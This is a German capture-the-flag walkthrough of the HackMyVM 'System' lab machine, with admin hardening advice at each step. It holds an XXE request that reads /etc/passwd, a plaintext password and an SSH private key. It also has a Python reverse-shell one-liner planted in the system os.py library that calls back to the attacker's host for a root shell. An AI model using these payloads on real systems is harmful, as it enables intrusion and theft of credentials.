System - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
vi (oder text editor)
gobuster
dirsearch
wget
curl
nikto
Burp Suite (oder manuelles POST)
chmod
ssh2john
ssh
python (http.server)
pspy64
find
nc
cat
ls
grep
id
cd

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:89:db:93	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP 192.168.2.113 wurde gefunden. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist unser Zielsystem "System".

Empfehlung (Pentester): Fügen Sie einen Eintrag für `system.hmv` mit der IP 192.168.2.113 zur lokalen `/etc/hosts`-Datei hinzu, um die Namensauflösung zu ermöglichen. Führen Sie anschließend einen Port-Scan durch.
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung.

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `system.hmv` der gefundenen IP-Adresse 192.168.2.113 zuzuordnen. Dies erleichtert die weitere Interaktion mit dem Zielsystem.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber
192.168.2.113   system.hmv
                    

Bewertung: Die Namensauflösung für `system.hmv` ist nun lokal konfiguriert.

Empfehlung (Pentester): Verwenden Sie ab jetzt den Hostnamen `system.hmv` für Scans und Zugriffsversuche. Führen Sie den Port-Scan durch.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

Analyse: Ein `nmap`-Scan wird auf das Ziel `192.168.2.113` gestartet, um offene Ports, Dienste, Versionen und OS-Informationen zu sammeln. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-sV` (Versionserkennung), `-A` (Aggressive Optionen), `-p-` (alle TCP-Ports).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.113 -p-
Starting Nmap 7.93 ( https://nmap.org ) at [Scan Time]
Nmap scan report for system.hmv (192.168.2.113)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:89:DB:93 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms system.hmv (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
                    

Bewertung: Zwei offene Ports wurden identifiziert: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. Erfordert gültige Anmeldedaten. * **Port 80 (HTTP):** nginx 1.18.0, der eine Webseite mit dem Titel "HackMyVM Panel" ausliefert. Dies deutet auf eine benutzerdefinierte Webanwendung hin. Die Hauptangriffsfläche ist die Webanwendung auf Port 80.

Empfehlung (Pentester): Führen Sie eine gründliche Web-Enumeration auf Port 80 durch (Verzeichnisse, Dateien, Parameter). Untersuchen Sie die Funktionalität des "HackMyVM Panel".
Empfehlung (Admin): Halten Sie nginx und OpenSSH aktuell. Sichern Sie die benutzerdefinierte Webanwendung ("HackMyVM Panel") gegen gängige Web-Schwachstellen ab.

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es wird eine Standard-Wortliste und eine breite Palette von Erweiterungen genutzt. Die hohe Thread-Anzahl (`-t 100`) soll den Scan beschleunigen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.113/" -w /usr/share/dirb/wordlists/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.113/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Status codes:            200,204,301,302,307,401,405
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv,.git
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.113/cover.png            (Status: 200) [Size: 15120]
http://192.168.2.113/index.html           (Status: 200) [Size: 1094]
http://192.168.2.113/js                   (Status: 301) [Size: 169] [--> http://192.168.2.113/js/]
http://192.168.2.113/magic.php            (Status: 200) [Size: 85]
===============================================================
[Scan End Time] Finished
===============================================================
                    

Bewertung: Der Scan identifizierte: * `cover.png`: Eine Bilddatei. * `index.html`: Die Hauptseite (vermutlich das Panel). * `/js/`: Verzeichnis für JavaScript-Dateien. * `magic.php`: **Sehr interessant!** Eine PHP-Datei mit einem verdächtigen Namen, die untersucht werden sollte.

Empfehlung (Pentester): Untersuchen Sie `magic.php` genauer. Versuchen Sie, Parameter zu übergeben oder die Funktionalität durch Analyse des Quellcodes (falls zugänglich) oder durch Interaktion (z.B. mit Burp Suite) zu verstehen. Laden Sie `cover.png` herunter und analysieren Sie es auf versteckte Daten (Steganographie).
Empfehlung (Admin): Überprüfen Sie den Zweck und die Sicherheit von `magic.php`. Stellen Sie sicher, dass keine unnötigen Dateien im Web-Root liegen.

Analyse: Die gefundene Bilddatei `cover.png` wird mit `wget` heruntergeladen.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.113/cover.png
--2022-10-03 23:07:08--  http://192.168.2.113/cover.png
Connecting to 192.168.2.113:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15120 (14K) [image/png]
Saving to: 'cover.png'

cover.png               100%[===================>]  14.77K  --.-KB/s    in 0s

2022-10-03 23:07:08 (599 MB/s) - 'cover.png' saved [15120/15120]
                    

Bewertung: Die Datei wurde heruntergeladen. Sie sollte auf versteckte Informationen (z.B. mit `steghide`, `zsteg` oder `strings`) untersucht werden. *Hinweis: Der weitere Verlauf des Berichts nutzt diese Datei nicht, daher war sie vermutlich eine falsche Fährte oder der Analyse-Schritt fehlt im Log.*

Empfehlung (Pentester): Analysieren Sie `cover.png` auf Steganographie. Konzentrieren Sie sich auf `magic.php`.
Empfehlung (Admin): Keine direkten Maßnahmen für die Bilddatei, außer sicherzustellen, dass sie keinen schädlichen Code enthält (falls sie z.B. dynamisch generiert würde).

Analyse: `dirsearch` wird als alternatives Tool zur Verzeichnissuche verwendet. Es bestätigt im Wesentlichen die Funde von `gobuster`.

┌──(root㉿cyber)-[~] └─# dirsearch -u "http://192.168.2.113" -w /usr/share/dirb/wordlists/common.txt -e .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, .git | HTTP method: GET | Threads: 30 | Wordlist size: 4613

Target: http://192.168.2.113/

[23:08:57] Starting:
[23:08:57] 200 -    1KB - /index.html
[23:08:57] 301 -  169B  - /js  ->  http://192.168.2.113/js/

Task Completed
                    

Bewertung: `dirsearch` findet hier weniger als `gobuster` (insbesondere fehlt `magic.php`), was die Bedeutung unterstreicht, manchmal mehrere Tools oder Wortlisten zu verwenden. Bestätigt `index.html` und `/js`.

Empfehlung (Pentester): Verlassen Sie sich nicht auf ein einziges Tool. `gobuster` lieferte den wichtigeren Fund (`magic.php`).
Empfehlung (Admin): Keine neuen Empfehlungen.

Analyse: Abruf der HTTP-Header der Hauptseite mit `curl -I` unter Verwendung des Hostnamens.

┌──(root㉿cyber)-[~] └─# curl -I http://system.hmv
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 03 Oct 2022 21:19:20 GMT
Content-Type: text/html
Content-Length: 1094
Last-Modified: Sat, 02 Apr 2022 14:18:45 GMT
Connection: keep-alive
ETag: "62485b45-446"
Accept-Ranges: bytes
                    

Bewertung: Die Header bestätigen den nginx-Server und liefern Standardinformationen (Datum, Content-Type etc.). Keine besonderen Auffälligkeiten.

Empfehlung (Pentester): Fahren Sie mit der Untersuchung von `magic.php` fort.
Empfehlung (Admin): Erwägen Sie das Entfernen oder Anpassen des `Server`-Headers, um weniger Informationen preiszugeben (Security through Obscurity - geringer Effekt).

Analyse: `nikto` wird erneut ausgeführt, diesmal gegen den Hostnamen `system.hmv`.

┌──(root㉿cyber)-[~] └─# nikto -h http://system.hmv
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    system.hmv
+ Target Port:        80
+ Start Time:         2022-10-03 23:19:18 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7785 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-10-03 23:19:26 (GMT2) (8 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Bewertung: Nikto findet wieder nur die fehlenden Sicherheitsheader und keine spezifischen Schwachstellen. Dies bestärkt die Annahme, dass der Angriffsvektor in der benutzerdefinierten Anwendung (`magic.php`) liegt.

Empfehlung (Pentester): Interagieren Sie mit `magic.php` mittels POST-Requests, wie im nächsten Schritt gezeigt.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader.

Initial Access (XXE & SSH)

Analyse: Eine POST-Anfrage wird mittels Burp Suite (oder einem ähnlichen Tool/curl) an `/magic.php` gesendet. Der Body der Anfrage enthält eine XML-Struktur. Entscheidend ist der DOCTYPE-Header ` ]>`, der eine externe XML-Entität namens `file` definiert, die auf die lokale Datei `/etc/passwd` verweist. Innerhalb der ``-Tags wird diese Entität mit `&file;` referenziert. Wenn der Server XML verarbeitet und externe Entitäten auflöst (was ein Zeichen für eine XXE-Schwachstelle ist), wird der Inhalt von `/etc/passwd` anstelle von `&file;` eingesetzt und in der Antwort zurückgegeben.

--- Request ---
POST /magic.php HTTP/1.1
Host: system.hmv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 156
Origin: http://system.hmv
Connection: close
Referer: http://system.hmv/


 ]>
&file; pass
--- Response ---
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 03 Oct 2022 22:01:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 1556

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin david:x:1000:1000::/home/david:/bin/bash is already registered!

Bewertung: **XXE-Schwachstelle bestätigt!** Der Server hat die externe Entität verarbeitet und den Inhalt von `/etc/passwd` in die Antwort eingefügt. Dies ermöglicht das Lesen beliebiger Dateien auf dem System, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Der Benutzer `david` wird als Benutzer mit Bash-Zugriff identifiziert.

Empfehlung (Pentester): Nutzen Sie die XXE-Schwachstelle, um weitere sensible Dateien zu lesen: * Konfigurationsdateien (`/etc/nginx/nginx.conf`, Anwendungs-Configs) * SSH-Schlüssel (z.B. `/home/david/.ssh/id_rsa`) * Andere Passwortdateien oder Logdateien (`.viminfo`, `.bash_history`, anwendungsspezifische Logs) * Versuchen Sie, das Passwort für `david` oder dessen SSH-Schlüssel zu finden.
Empfehlung (Admin):** **Dringend:** Beheben Sie die XXE-Schwachstelle in `magic.php`. Konfigurieren Sie den XML-Parser so, dass externe Entitäten und DOCTYPE-Deklarationen deaktiviert werden. Dies ist eine Standardeinstellung in vielen modernen Bibliotheken, muss aber oft explizit sichergestellt werden.

Analyse: Weitere Ausnutzung der XXE-Schwachstelle, um gezielt nach sensiblen Dateien des Benutzers `david` und potenziellen Passwortdateien zu suchen.

--- Payload 1 ---
 ]>
...&file;...
--- Result 1 (Relevant Part) --- /usr/local/etc/mypass.txt --- Payload 2 --- ]>
...&file;...
--- Result 2 --- h4ck3rd4v!d --- Payload 3 --- ]>
...&file;...
--- Result 3 --- -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----

Bewertung: Die XXE-Ausnutzung war sehr erfolgreich: * `.viminfo` enthielt den Pfad `/usr/local/etc/mypass.txt`. * `mypass.txt` enthielt das Passwort `h4ck3rd4v!d`. * Der private SSH-Schlüssel (`id_rsa`) für den Benutzer `david` wurde ebenfalls ausgelesen.

Empfehlung (Pentester): Es gibt nun zwei Wege für den Initial Access als `david`: 1. SSH-Login mit dem Passwort `h4ck3rd4v!d`. 2. SSH-Login mit dem extrahierten privaten Schlüssel (zuerst Berechtigungen anpassen: `chmod 600 [keyfile]`). Prüfen, ob der Schlüssel passwortgeschützt ist (`ssh2john`).
Empfehlung (Admin): Beheben Sie die XXE-Schwachstelle. Entfernen Sie Passwortdateien wie `mypass.txt`. Schützen Sie SSH-Schlüssel und Benutzerverzeichnisse mit korrekten Berechtigungen. Überwachen Sie Dateizugriffe.

Analyse: Der extrahierte SSH-Schlüssel wird in einer Datei gespeichert (angenommen als `rsa`), die Berechtigungen werden auf 600 gesetzt (nur für den Besitzer les-/schreibbar), und `ssh2john` wird verwendet, um zu prüfen, ob der Schlüssel passwortgeschützt ist.

┌──(root㉿cyber)-[~] └─# chmod 600 rsa
[Keine Ausgabe]
┌──(root㉿cyber)-[~] └─# ssh2john rsa > rsa.txt
rsa has no password!

Bewertung: Der SSH-Schlüssel ist **nicht** durch eine Passphrase geschützt. Dies ermöglicht einen direkten Loginversuch mit dem Schlüssel.

Empfehlung (Pentester): Versuchen Sie den SSH-Login mit dem Schlüssel (`ssh david@system.hmv -i rsa`). Falls das fehlschlägt (wie im nächsten Schritt), verwenden Sie das Passwort.
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel immer mit starken Passphrasen.

Analyse: Versuch des SSH-Logins als `david` unter Verwendung des privaten Schlüssels (`-i rsa`). Dieser Versuch schlägt mit einem `error in libcrypto` fehl (möglicherweise ein Formatierungs- oder Berechtigungsproblem, das hier nicht weiter untersucht wird). Anschließend wird der Login mit dem zuvor gefundenen Passwort (`h4ck3rd4v!d`) versucht, welcher erfolgreich ist.

┌──(root㉿cyber)-[~] └─# ssh david@system.hmv -i rsa
The authenticity of host 'system.hmv (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:hyaH0n5p7+5xBVQEL/hRIeVRNWsLv8qjefRknYQi6Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'system.hmv' (ED25519) to the list of known hosts.
Load key "rsa": error in libcrypto
david@system.hmv's password: h4ck3rd4v!d
Linux system 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: [Login Time]
david@system:~$
                     

Bewertung: **Initial Access erfolgreich!** Obwohl der Schlüssel-Login fehlschlug, war der Passwort-Login erfolgreich. Der Pentester hat nun eine Shell als Benutzer `david`.

Empfehlung (Pentester): Führen Sie die initiale Enumeration als `david` durch: `id`, `pwd`, `ls -la`, `cat user.txt`, `sudo -l`.
Empfehlung (Admin): Ändern Sie das Passwort von `david`. Untersuchen Sie, warum der Schlüssel-Login fehlschlug (Berechtigungen auf dem Server in `.ssh/authorized_keys`?). Beheben Sie die XXE-Schwachstelle und die Passwortpreisgabe.

Privilege Escalation Preparation

Analyse: Nach dem SSH-Login als `david` wird die User-Flag gelesen und die Shell-Benutzer in `/etc/passwd` überprüft.

david@system:~$ cat user.txt
79f3964a3a0f1a050761017111efffe0
david@system:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bash
                     

Bewertung: User-Flag erfolgreich gelesen. `david` und `root` sind die einzigen Benutzer mit Bash-Shell.

Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Führen Sie weitere Enumeration durch, insbesondere Prozessüberwachung (z.B. mit `pspy`), da `sudo -l` oder SUID/Capabilities bisher keine klaren Vektoren lieferten (Annahme basierend auf dem nächsten Schritt).
Empfehlung (Admin): Keine spezifischen Maßnahmen für die Flag.

Analyse: Das Prozessüberwachungstool `pspy64` wird auf das Zielsystem hochgeladen und ausgeführt, um laufende Prozesse und insbesondere Cron-Jobs zu identifizieren, die zur Rechteausweitung genutzt werden könnten.

┌──(root㉿cyber)-[~/HackingTools/pspy] └─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.113 - - [04/Oct/2022 00:18:17] "GET /pspy64 HTTP/1.1" 200 -
                     
david@system:/tmp$ wget http://192.168.2.140/pspy64
--2022-10-03 18:18:18--  http://192.168.2.140/pspy64
Connecting to 192.168.2.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                     100%[===================>]   2.94M  --.-KB/s    in 0.03s

2022-10-03 18:18:18 (91.3 MB/s) - 'pspy64' saved [3078592/3078592]
                     
david@system:/tmp$ chmod +x pspy64
[Keine Ausgabe]
david@system:/tmp$ ./pspy64
[...]
2022/10/03 18:19:15 CMD: UID=0    PID=1      | /sbin/init
2022/10/03 18:20:01 CMD: UID=0    PID=811    | /usr/sbin/CRON -f
2022/10/03 18:20:01 CMD: UID=0    PID=812    | /usr/sbin/CRON -f
2022/10/03 18:20:01 CMD: UID=0    PID=813    | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
[...]
                     

Bewertung: **Kritischer Fund für Privilege Escalation!** `pspy` zeigt einen Cron-Job, der regelmäßig (vermutlich minütlich) als `root` (UID=0) das Python-Skript `/opt/suid.py` ausführt. Wenn dieses Skript oder eine der von ihm importierten Python-Bibliotheken für den Benutzer `david` beschreibbar ist, kann dies zur Rechteausweitung genutzt werden (Python Library Hijacking).

Empfehlung (Pentester): Überprüfen Sie die Berechtigungen von `/opt/suid.py`. Untersuchen Sie, welche Module dieses Skript importiert (insbesondere Standardbibliotheken wie `os`). Finden Sie den Pfad zu einer importierten Standardbibliothek (z.B. `os.py`) und prüfen Sie, ob diese Datei für `david` beschreibbar ist. Wenn ja, fügen Sie einen Reverse-Shell-Payload in diese Bibliotheksdatei ein.
Empfehlung (Admin):** **Dringend:** Überprüfen Sie den Cron-Job und das Skript `/opt/suid.py`. Stellen Sie sicher, dass das Skript und die von ihm verwendeten Bibliotheken nicht von unprivilegierten Benutzern manipuliert werden können. Führen Sie Cron-Jobs mit den geringstmöglichen Berechtigungen aus. Überprüfen Sie die Berechtigungen von Python-Bibliotheksdateien.

Proof of Concept (Privilege Escalation via Python Library Hijacking)

Analyse: Der Pfad zur Standardbibliothek `os.py` für Python 3.9 wird gesucht. Anschließend wird diese Datei (die für `david` beschreibbar sein muss, was hier impliziert wird) bearbeitet, um einen Python-Reverse-Shell-Payload einzufügen. Dieser Payload wird ausgeführt, sobald der Cron-Job `/opt/suid.py` das `os`-Modul importiert.

david@system:/tmp$ find / -name os.py 2>/dev/null
/usr/lib/python3.9/os.py
                     
david@system:/tmp$ vi /usr/lib/python3.9/os.py
            # Originaler Code ...
            cookie,
            nt._remove_dll_directory
        )

# --- Eingefügter Payload ---
import socket,subprocess,os;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.2.140",3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
# -------------------------

# Originaler Code ...
                     

Bewertung: Der Payload wurde erfolgreich in die Standardbibliothek `os.py` injiziert. Wenn der Cron-Job das nächste Mal läuft und `/opt/suid.py` das `os`-Modul importiert, wird der Reverse-Shell-Code als `root` ausgeführt.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (192.168.2.140) auf Port 3333 und warten Sie auf die eingehende Verbindung, wenn der Cron-Job das nächste Mal ausgeführt wird (normalerweise innerhalb einer Minute).
Empfehlung (Admin):** **Dringend:** Stellen Sie die ursprüngliche `os.py`-Datei wieder her. Korrigieren Sie die unsicheren Dateiberechtigungen für die Python-Bibliotheksdateien (sie sollten nur für root beschreibbar sein). Überprüfen und sichern Sie den Cron-Job und `/opt/suid.py`.

Analyse: Ein Netcat-Listener wird auf Port 3333 gestartet. Kurz darauf geht eine Verbindung vom Zielsystem ein, und eine Root-Shell wird präsentiert. Der `id`-Befehl bestätigt die Root-Rechte.

┌──(root㉿cyber)-[~/HackingTools/pspy] └─# nc -lvnp 3333
listening on [any] 3333 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.113] 55072
id
uid=0(root) gid=0(root) groups=0(root)
                     

Bewertung: **Privilege Escalation erfolgreich!** Die Python Library Hijacking-Technik über den Cron-Job war erfolgreich und lieferte eine Root-Shell.

Empfehlung (Pentester): Navigieren Sie zum Root-Verzeichnis und lesen Sie die Root-Flag. Führen Sie Post-Exploitation-Aufgaben durch. Stellen Sie sicher, die modifizierte `os.py`-Datei wiederherzustellen oder zu bereinigen, um das System nicht dauerhaft zu beschädigen (gute Praxis in nicht-destruktiven Tests).
Empfehlung (Admin):** **Dringend:** Beheben Sie die Schwachstelle (Dateiberechtigungen der Python-Bibliothek, Cron-Job-Sicherheit). Überprüfen Sie das System auf Persistenzmechanismen.

Flags

cat /home/david/user.txt
79f3964a3a0f1a050761017111efffe0
cat /root/root.txt
3aa26937ecfcc6f2ba466c14c89b92c4

Analyse: Innerhalb der erhaltenen Root-Shell wird das Root-Verzeichnis aufgesucht und die Root-Flag (`root.txt`) gelesen. Die User-Flag wurde bereits zuvor als `david` gelesen.

root@system: cd ~
[Keine Ausgabe]
root@system:~# ls
root.txt
root@system:~# cat root.txt
3aa26937ecfcc6f2ba466c14c89b92c4

Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung ist erreicht.

